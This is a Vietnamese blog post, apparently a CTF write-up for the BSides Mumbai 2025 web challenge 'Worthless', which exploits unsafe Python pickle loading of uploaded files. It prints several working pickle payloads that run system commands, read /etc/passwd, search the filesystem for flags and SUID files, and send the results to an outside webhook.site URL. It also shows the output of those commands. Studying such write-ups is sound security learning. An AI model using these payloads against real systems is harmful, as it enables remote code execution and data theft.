Skip to main content

Command Palette

Search for a command to run...

[BSides Mumbai 2025] Web - Worthless

Published

Hello xin chào mọi người!

Trước tiên, mình xin cảm ơn các anh trong team CTF và công ty BlueCyber đã hỗ trợ và tạo điều kiện để mình tham gia CTF.

Mình xin chia sẻ đây là lần đầu tiên được tham gia giải CTF cùng các thành viên ở BlueCyber team, và đây là bài đầu tiên mình giải được với độ độ khó cũng tương đối với bản thân mình, cảm xúc lúc đó thật vỡ òa và sung sướng lun !!

Không dài dòng nữa mình sẽ vào vấn đề chính ngay sau đây :>>

Đầu tiên, context để khai thác lỗ hổng của bài nó đó chính là nằm ở chỗ upload file lên. Dạng file được upload lên là .pkl ( Python pickle file). Đây là định dạng file nhị phân do Python tạo ra.

  • Lưu trữ (serialize) dữ liệu Python thành file để có thể dễ dàng mở lại (deserialize) sau này

  • Và trong thử thách CTF này khi file được tải lên thì nó sẽ thực hiện câu lệnh trong .pkl

Sau khi nghi ngờ đây có thể là điểm yếu của web app này. Mình đã lên google search và tham khảo làm sao để khai thác lỗ hổng này. Và thật may mắn mình đã tìm được 1 blog có source code để exploit : https://blog.huntr.com/pickle-rickd-how-loading-a-malicious-pickle-can-pwn-your-machine. Thì mình đã tham khảo trang này và trích được source code :

import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("touch /tmp/poc",))
# Serialize the malicious object
payload = pickle.dumps(Malicious())

# Save it to a file
with open("malicious.pkl", "wb") as f:
    f.write(payload)

Đoạn code trên sẽ làm nhiệm vụ tạo ra các câu lệnh hệ thống và chuyển object thành dạng .pkl

Và để khai thác lại bài này thì mình đã chỉnh sửa để có thể đạt được flag, nhưng base thì vẫn là dựa trên code của bài blog mình tham khảo

Với lần sửa đầu tiên mình đã có 1 webhook để listen sẵn và mình đã thử để target này gọi đến web hook của mình :

import pickle

class Malicious:
    def __reduce__(self):
        return (
            __import__('urllib.request', fromlist=['']).urlopen,
            ("https://webhook.site/3fcb5779-a072-4a96-bffe-6fb8dd898381",) // webhook url
        )

payload = pickle.dumps(Malicious())

with open("malicious.pkl", "wb") as f:
    f.write(payload)

Và bùm !!!! Nó đã hoạt động. Có vẻ mọi thứ tiến triển rất oke. Nhưng mà đây mới chỉ là khởi đầu.

Sau đó thì mình tiếp tục thử đọc một số file của hệ thống ví dụ như /etc/passwd

import pickle

class Malicious:
    def reduce(self):
        exploit_code = """import os, urllib.request, subprocess

# Capture system information
info = "=== SYSTEM INFO ===\\n"
info += subprocess.getoutput('id') + "\\n\\n"

# Capture /etc/passwd if exists
try:
    with open('/etc/passwd', 'r') as f:
        info += "=== /etc/passwd ===\\n" + f.read() + "\\n\\n"
except:
    info += "/etc/passwd not found\\n\\n"


# Send data to webhook
urllib.request.urlopen(
    "https://webhook.site/3fcb5779-a072-4a96-bffe-6fb8dd898381",
    data=info.encode()
)
"""
        return (exec, (exploit_code,))

# Generate payload
payload = pickle.dumps(Malicious(), protocol=0)

with open("malicious.pkl", "wb") as f:
    f.write(payload)

print("Payload created: malicious.pkl")
print("Execute with: python -c \"import pickle; pickle.load(open('malicious.pkl','rb'))\"")

và nó work :))) respone mình nhận được là

=== SYSTEM INFO ===
uid=1000(ctfuser) gid=1000(ctfuser) groups=1000(ctfuser)

=== /etc/passwd ===
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ctfuser:x:1000:1000::/home/ctfuser:/bin/sh

Và rồi cứ theo hướng này mình đã nghĩ đến việc đi dò flag, nhưng mà gặp khá nhiều khó khăn bởi vì không biết flag nằm đâu trong hệ thống file, và mình đã cố gắng liệt kê và đào bới tất cả các file khả nghi hoặc có tên bao gồm “flag” trong hệ thống. Đây là source code :

import pickle

class Malicious:
    def __reduce__(self):
        exploit_code = """import os, urllib.request, subprocess

# Thu thập thông tin hệ thống
info = "=== SYSTEM INFO ===\\n"
info += subprocess.getoutput('id') + "\\n\\n"

# Đọc /etc/passwd
try:
    with open('/etc/passwd', 'r') as f:
        info += "=== /etc/passwd ===\\n" + f.read() + "\\n\\n"
except:
    info += "/etc/passwd not found\\n\\n"

# Tìm kiếm flag nâng cao
info += "=== ADVANCED FLAG SEARCH ===\\n"

# 1. Tìm kiếm các file có 'flag' trong tên
info += "\\n[+] Searching for files with 'flag' in name:\\n"
info += subprocess.getoutput('find / -iname "*flag*" 2>/dev/null | head -n 20') + "\\n\\n"

# 2. Kiểm tra các thư mục quan trọng
directories = ['/home/ctfuser', '/home', '/tmp', '/opt', '/var', '/usr', '/etc']
info += "\\n[+] Checking important directories:\\n"
for dir in directories:
    info += f"--- {dir} ---\\n"
    info += subprocess.getoutput(f'ls -la {dir} 2>/dev/null') + "\\n\\n"

# 3. Tìm file có quyền SUID/GUID
info += "\\n[+] SUID/SGID files (potential privilege escalation):\\n"
info += subprocess.getoutput('find / -perm -4000 -o -perm -2000 2>/dev/null | head -n 20') + "\\n\\n"

# 4. Tìm kiếm nội dung file có chứa 'flag'
info += "\\n[+] Searching file contents for 'FLAG':\\n"
info += subprocess.getoutput('grep -r -i "FLAG" / 2>/dev/null | head -n 50') + "\\n\\n"

# Gửi dữ liệu về webhook
try:
    urllib.request.urlopen(
        "https://webhook.site/3fcb5779-a072-4a96-bffe-6fb8dd898381",
        data=info.encode()
    )
except:
    pass
"""
        return (exec, (exploit_code,))

# Tạo payload
payload = pickle.dumps(Malicious(), protocol=0)

with open("advanced_search.pkl", "wb") as f:
    f.write(payload)

print("Payload created: advanced_search.pkl")
print("Execute with: python -c \"import pickle; pickle.load(open('advanced_search.pkl','rb'))\"")

Và kết quả mình nhận được thật tuyệt vời, thật sự hạnh phúc rớt nước mắt lun :< ( đoạn này mất mấy tiếng mới dò được ý hic :((_ )


--- /tmp ---
total 352
drwxrwxrwt 1 root    root      4096 Jun 29 05:12 .
drwxr-xr-x 1 root    root      4096 Jun 28 11:27 ..
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:47 app_flag_search.txt
-rw-r--r-- 1 ctfuser ctfuser     57 Jun 28 12:55 ctf.out
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:52 db_files.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:47 env_flag.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:52 env_flag_result.txt
prw-r--r-- 1 ctfuser ctfuser      0 Jun 28 14:34 f
-rw-r--r-- 1 ctfuser ctfuser      1 Jun 28 20:47 flag.txt
-rw-r--r-- 1 ctfuser ctfuser    118 Jun 28 19:56 flag_b64.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:46 flag_files.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:45 flag_grep.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:56 flag_hex.txt
-rw-r--r-- 1 ctfuser ctfuser     85 Jun 28 19:56 flag_output.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 29 04:03 flag_path.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:44 flag_search.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:52 flag_search_result.txt
-rw-r--r-- 1 ctfuser ctfuser     20 Jun 28 19:49 flag_test.txt
-rw-r--r-- 1 ctfuser ctfuser      6 Jun 28 11:45 hello
-rw-r--r-- 1 ctfuser ctfuser    163 Jun 28 19:46 home_listing.txt
-rw-r--r-- 1 ctfuser ctfuser     57 Jun 28 22:07 id.txt
-rw-r--r-- 1 ctfuser ctfuser    162 Jun 29 04:44 out.txt
-rw-r--r-- 1 ctfuser ctfuser     85 Jun 28 16:26 output.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 29 05:12 poc
-rw-r--r-- 1 ctfuser ctfuser      5 Jun 28 19:47 pwd_output.txt
-rw-r--r-- 1 ctfuser ctfuser     57 Jun 28 11:28 pwned_by_me
-rw-r--r-- 1 ctfuser ctfuser    128 Jun 28 21:59 result.txt
-rw-r--r-- 1 ctfuser ctfuser      0 Jun 28 19:48 settings_files.txt
-rw-r--r-- 1 ctfuser ctfuser     59 Jun 29 04:23 shell.php
-rw-r--r-- 1 ctfuser ctfuser     29 Jun 28 19:44 test_output.txt
-rw------- 1 root    root    275233 Jun 10 23:51 tmp6jxr0woucacert.pem
drwxr-xr-x 2 ctfuser ctfuser   4096 Jun 29 04:25 web
-rw-r--r-- 1 ctfuser ctfuser      8 Jun 28 11:47 whoami.txt
-rw-r--r-- 1 ctfuser ctfuser      8 Jun 28 19:43 whoami_output.txt

Như chúng ta để ý flag thật sự nằm ở /tmp/flag.txt Sau đó thì mình chỉ việc sửa lại source để đọc flag, cẩn thận hơn mình sẽ đọc tất cả file có tên bao gồm flag.

import pickle

class Malicious:
    def __reduce__(self):
        exploit_code = """import os, urllib.request, glob

# Thu thập thông tin hệ thống
info = "=== SYSTEM INFO ===\\n"
info += "User: " + os.popen('id').read().strip() + "\\n\\n"

# Tìm tất cả file flag trong /tmp
info += "=== ALL FLAG FILES IN /tmp ===\\n"
flag_files = glob.glob('/tmp/*flag*') + glob.glob('/tmp/.*flag*')

if not flag_files:
    info += "No flag files found in /tmp!\\n"
else:
    for file_path in flag_files:
        info += f"\\n=== FILE: {file_path} ===\\n"
        try:
            if os.path.isfile(file_path):
                with open(file_path, 'r') as f:
                    content = f.read(1000)
                    info += content + "\\n"
            else:
                info += "Not a file\\n"
        except Exception as e:
            info += f"Error reading: {str(e)}\\n"

# Gửi dữ liệu về webhook
try:
    urllib.request.urlopen(
        "https://webhook.site/3fcb5779-a072-4a96-bffe-6fb8dd898381",
        data=info.encode()
    )
except:
    pass
"""
        return (exec, (exploit_code,))

# Tạo payload
payload = pickle.dumps(Malicious(), protocol=0)

with open("search_tmp_flags.pkl", "wb") as f:
    f.write(payload)

print("Payload created: search_tmp_flags.pkl")
print("Execute with: python -c \"import pickle; pickle.load(open('search_tmp_flags.pkl','rb'))\"")

Và webhook của mình đã thực sự trả về FLAG !!!!

Bài này đã giúp mình lấy được 413 đ về cho đội <33 hehee

Có vẻ quá trình writeup khá là mượt mà, nhưng với mình để làm các bước từ đầu đến cuối cần nhiều phép thử, từ payload này đến payload nọ, hướng khai thác rce, nhiều lúc bản thân đã rất chán nản vì không đi đến được kết quả, nhưng rồi cuối cùng mọi nỗ lực đã được đền đáp <33. Và đây mới chỉ là khởi đầu, mong rằng bản thân mình sẽ cố gắng học tập và phát triển hơn trong tương lai nữa hhiihi.

Xin chào và cảm ơn các bạn đã quan tâm đến writeup của mình. Chúc các bạn một ngày vui vẻ !!

Hoang Pink Hat

More from this blog

B

BlueCyber's blog

37 posts